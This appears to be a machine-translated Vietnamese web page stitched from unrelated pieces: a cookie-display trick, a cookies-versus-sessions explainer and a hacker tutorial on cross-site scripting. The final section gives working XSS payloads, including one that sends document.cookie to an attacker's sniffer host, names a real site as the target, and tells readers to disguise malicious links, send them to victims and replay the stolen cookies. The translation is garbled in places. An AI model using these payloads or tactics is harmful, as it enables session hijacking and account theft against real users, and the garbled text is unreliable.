Nếu khi đang truy cập một trang web, bạn nhập văn bản sau vào thanh địa chỉ của trình duyệt Firefox hoặc Opera: javaсript:document.write(document.cookie); sau đó bạn sẽ thấy nội dung như: remixAdminsBar=0; phối lạiGroupType=0; remixpass=******************; tường phối lại=0; phối lạiThông tin=0; phối lạiMembersBar=0; mô tả phối lại=0; remixautobookmark=8; email phối lại=*******; remixmid=23363; phối lạichk=5; remixaudios=0; remixlinksBar=1; phối lạiOfficersBar=0; phối lạiPhotosBar=0; phối lạiTopicsBar=0; video phối lại=0; remixRecentNews=0; remixAlbumsBar=0 Chú ý! .

Hướng dẫn đầy đủ về Cross-Site Scripting

XSS là một loại lỗ hổng phần mềm có nguồn gốc từ các ứng dụng Web, cho phép kẻ tấn công đưa tập lệnh phía máy khách vào các trang Web được người dùng khác xem. Wikipedia định nghĩa XSS như sau: “Kịch bản chéo trang (XSS) là một loại lỗ hổng phần mềm gốc. vào Web. -applications (bằng cách bỏ qua các hạn chế bảo mật của trình duyệt)”, cho phép kẻ tấn công đưa tập lệnh máy khách vào các trang web được người dùng khác xem.

Sự khác biệt giữa cookie và phiên

Cách đây không lâu tôi đã viết một bài viết về cách đăng ký và phân quyền người dùng trên một trang web.

". Trong bài viết này tôi sẽ phân tích sự khác biệt giữa phiên và cookie. để cuối cùng bạn có thể đưa ra lựa chọn của mình.

Bánh quy. Không, vấn đề không phải là về cookie mà là về sự an toàn của bạn. Vì vậy, bạn truy cập trang web yêu thích của mình “vkontakte” (hoặc ví dụ: xem thư) trên máy tính của người khác, từ chối tùy chọn “lưu mật khẩu”, vui vẻ xem qua thư và rời đi. Và đừng nghĩ đến việc bây giờ bạn có thể đăng nhập vào mạng xã hội hoặc gửi email dưới tên của mình.

Tôi thậm chí còn không xem xét tình huống có một chương trình ghi nhớ mật khẩu mà bạn không biết. Đây đã là một vụ hack có chủ ý và bạn có thể sẽ nghi ngờ rằng điều gì đó như thế này có thể xảy ra và bạn sẽ không truy cập trang web yêu thích của mình trên một máy tính như vậy. Nhưng chúng ta có thể nói về sự tò mò đơn giản của con người - bạn đang đi thăm bạn bè và rồi đột nhiên họ có cơ hội đọc thư của bạn. Bạn có chắc chắn họ sẽ từ chối cơ hội này? Bạn không sợ điều gì đó sẽ lộ ra sao? Trong mọi trường hợp, tôi sẽ đặt câu hỏi về đạo đức sang một bên và chỉ nói về cách lưu trữ thông tin trên máy tính mà giờ đây bạn có thể được phép vào một số trang web mà không cần yêu cầu mật khẩu.

cách ăn trộm Cookie

Và tên của công nghệ này là cookie.

Và đây là nơi mọi chuyện bắt đầu. Giao thức http, qua đó bạn thực sự xem các trang web (bao gồm cả trang này), ban đầu không cung cấp khả năng duy trì kết nối. Nói một cách đại khái, bạn gửi yêu cầu đến trang web, nhận được phản hồi, nó hiển thị trên màn hình và sau đó máy chủ không nhớ bất cứ điều gì về bạn. Tất nhiên, điều này là tốt khi trang web chỉ cung cấp thông tin thuần túy và không nên nhớ bất cứ điều gì về bạn, nhưng chúng ta đang sống trong thời đại Web 2.0 😉 Sự phát triển tự nhiên của giao thức là các yêu cầu POST và GET, khi bạn gửi một số dữ liệu, máy chủ có thể ghi nó vào dữ liệu cơ sở dữ liệu, nhưng điều này là chưa đủ.

Hãy xem một ví dụ rất đơn giản. Diễn đàn. Vì vậy, bạn đã đăng ký và có một bài đăng trên diễn đàn rằng có một người dùng như vậy với mật khẩu như vậy và một số dữ liệu bổ sung khác. Nhưng bây giờ bạn vào diễn đàn và đăng nhập - nhập mật khẩu của bạn. Ở đâu đó cần có thông tin mà bạn đã đăng nhập. Trên máy chủ? Dĩ nhiên là không! Không thể lưu trữ thông tin trên máy chủ mà ủy quyền được thực hiện từ máy tính của bạn - nó sẽ không thể phân biệt bạn với người khác (ngay cả địa chỉ IP của bạn cũng không nhận dạng duy nhất bạn)! Vì vậy, thông tin ủy quyền đã xảy ra phải được lưu trữ trên máy tính của bạn. Đó là mục đích của cookie, đó là mục đích chúng được tạo ra.

Cookie là một bản ghi nhỏ trên máy tính của bạn lưu trữ thông tin về trang web bạn đã truy cập. Khi bạn đăng nhập, một mục tương tự sẽ được tạo, sau đó bạn có thể dạo quanh diễn đàn và nó sẽ nhận ra bạn. Tuy nhiên, điều này sẽ tự động xảy ra - nhờ thông tin được lưu trong cookie - vì vậy việc giả vờ rằng bạn là quản trị viên chính của diễn đàn sẽ vẫn không hiệu quả khi bỏ qua việc kiểm tra mật khẩu.

Bây giờ chúng ta có thể quay lại nơi bài viết này bắt đầu. Nếu bạn đã đăng nhập ở đâu đó mà không lưu mật khẩu, có thể xảy ra trường hợp một mục nhập đã được tạo trên máy tính hiện cho phép bạn đăng nhập vào tài nguyên này dưới tên của bạn mà không được phép. Bản thân một mục như vậy sẽ trở nên lỗi thời sau một thời gian, nhưng bạn có thể buộc xóa nó. Mỗi trình duyệt thực hiện việc này một cách khác nhau, tôi sẽ chỉ cho bạn cách thực hiện việc này trong Google Chrome yêu thích của tôi. Mở các thông số

Chuyển đến tab “nâng cao” và tìm nút “hiển thị cookie”

Tất nhiên, bây giờ bạn có thể xóa tất cả cookie, nhưng điều này có thể khiến chủ sở hữu máy tính khó chịu. Do đó, ví dụ: ở trường trên cùng, bạn có thể nhập tên của trang web bạn quan tâm

Sau đó, bạn chỉ có thể xóa các cookie liên quan đến trang web này. Bạn có thể thử nó trên của tôi. Tuy nhiên, nếu bạn đăng nhập vào diễn đàn của tôi và sau đó xóa cookie, thông tin đăng nhập sẽ bị quên. Thử nó!

bình luận được cung cấp bởi

1. XSS là gì?
Lỗ hổng XSS cho phép chèn mã javascript tùy ý vào nội dung trang. Cuộc tấn công XSS khác với các cuộc tấn công khác (ví dụ: SQL SQL hoặc PHP) ở chỗ nó ảnh hưởng đến máy khách chứ không phải máy chủ.

cách ăn trộm cookie

Với sự trợ giúp của nó, bạn không thể xem các bảng cơ sở dữ liệu, tải shell, v.v. Việc sử dụng XSS phổ biến nhất là đánh cắp cookie.
Cookie là một phần dữ liệu nhỏ được tạo bởi máy chủ web và được lưu trữ trên máy tính của người dùng dưới dạng tệp. Thông thường, cookie được sử dụng để lưu trữ tài khoản và thường chứa mật khẩu, thông tin đăng nhập và ID phiên được mã hóa (mặc dù không phải lúc nào cũng vậy)
XSS có hai loại, chủ động và thụ động.

XSS thụ động yêu cầu nạn nhân phải tương tác trực tiếp, chẳng hạn như nhấp vào liên kết chứa mã javascript. Khi sử dụng loại XSS này, bạn không thể thiếu SI (Social Engineering)

XSS hoạt động không yêu cầu nạn nhân tham gia; tất cả những gì họ cần làm là truy cập trang chứa XSS. Ví dụ: XSS hoạt động có thể có trong tin nhắn trên diễn đàn, trò chuyện, thêm tin tức, v.v.

2.Tìm kiếm XSS
Trong đoạn này tôi sẽ cho bạn biết cách tìm xss

2.1.XS thụ động
Để tìm XSS thụ động, chỉ cần thay thế cảnh báo ('xss') vào biểu mẫu đầu vào, nếu tập lệnh hoạt động và thông báo "xss" xuất hiện thì có nghĩa là có lỗ hổng, nếu tập lệnh không hoạt động, bạn cũng có thể thử ">alert (), đây có lẽ là lỗ hổng xss phổ biến nhất. Nếu cả tập lệnh này và tập lệnh khác đều không hoạt động thì rất có thể không có lỗ hổng nào.
Hãy xem một ví dụ.
http://miss.rambler.ru/srch/?sort=0& … amp;words=
Bạn có thấy biểu mẫu "tìm kiếm" không? chèn ">alert()" vào đó và nhấp vào "tìm"
Một cửa sổ có xss xuất hiện nghĩa là xss đã có mặt (Có lẽ khi bạn đọc bài viết này thì xss này đã bị xóa rồi)

2.2.XS hoạt động
Ví dụ, css như vậy có thể có trong các trường hồ sơ, khi thêm tin tức vào tiêu đề của tin tức và trong chính tin tức đó (ít thường xuyên hơn), trong các tin nhắn trên diễn đàn/phòng trò chuyện/phòng khách có bật html. Mọi thứ ở đây đều đơn giản, chúng tôi nhập tập lệnh từ đoạn trước vào các trường và nếu thông báo hiển thị trên màn hình thì có nghĩa là lỗ hổng đã xuất hiện.
Hãy cùng xem xss trong thẻ BB trên diễn đàn nhé.
Bạn có thể thử chèn mã javascript vào thẻ, ví dụ như thế này:
javascript:cảnh báo('xss')
Một số thẻ có tham số, ví dụ thẻ có tham số dynsrc và lowsrc, hãy thử thay thế mã như thế này:
http://www.site.ru/image.jpg dynsrc=javascript:alert('xss')
Nếu tập lệnh hoạt động, xss có ở đó

3.Sử dụng XSS để đánh cắp Cookie
Bây giờ là ngon nhất))))
Để đánh cắp cookie, chúng tôi cần một trình thám thính web, bạn có thể cài đặt một số loại trình thám thính trên máy chủ của mình hoặc bạn có thể sử dụng trình thám thính trực tuyến, hiện có rất nhiều trình thám thính.
Để đánh cắp cookie thông qua XSS thụ động, nạn nhân phải đi theo một liên kết độc hại. Để đánh cắp cookie, chúng tôi sẽ sử dụng tập lệnh khác thay vì cảnh báo ('xss'):
img = Hình ảnh mới();

chúng tôi thay thế đoạn mã vào liên kết và để nạn nhân theo dõi nó, nhìn vào nhật ký của kẻ đánh hơi và vui mừng.
Hãy xem một ví dụ.
Hãy lấy XSS đó trên Rambler từ đoạn trước.
Chúng tôi chèn
">
img = Hình ảnh mới();
img.src = "địa chỉ hình ảnh đánh hơi"+document.cookie;

trong biểu mẫu tìm kiếm, nhấp vào “tìm”, nhìn vào thanh địa chỉ và thấy:

http://miss.rambler.ru/srch/?sort=0& … &words =">
Chúng tôi gửi liên kết này cho nạn nhân và thưởng thức cookie.
Nhìn thấy link như vậy, nạn nhân có thể nghi ngờ điều gì đó nên nên mã hóa
">img = Hình ảnh mới();img.src = "địa chỉ hình ảnh đánh hơi"+document.cookie;
trong URL Hoặc sử dụng các dịch vụ như http://tinyurl.com/
Hãy chuyển sang active XSS, mọi thứ ở đây đều đơn giản, thay vì notification() chúng ta chèn img = new Image();img.src = "address of the sniffer image"+document.cookie;

Bây giờ chúng tôi có cookie. Nhưng phải làm gì với chúng? Rất đơn giản, bạn cần thay thế chúng thay vì của riêng bạn. Trình duyệt Opera có trình chỉnh sửa cookie tích hợp (công cụ->nâng cao->quản lý cookie), có plugin cho Firefox (tôi không nhớ tên nó là gì, dùng Google)
Tạm thời thế thôi, có lẽ bài viết sẽ bổ sung thêm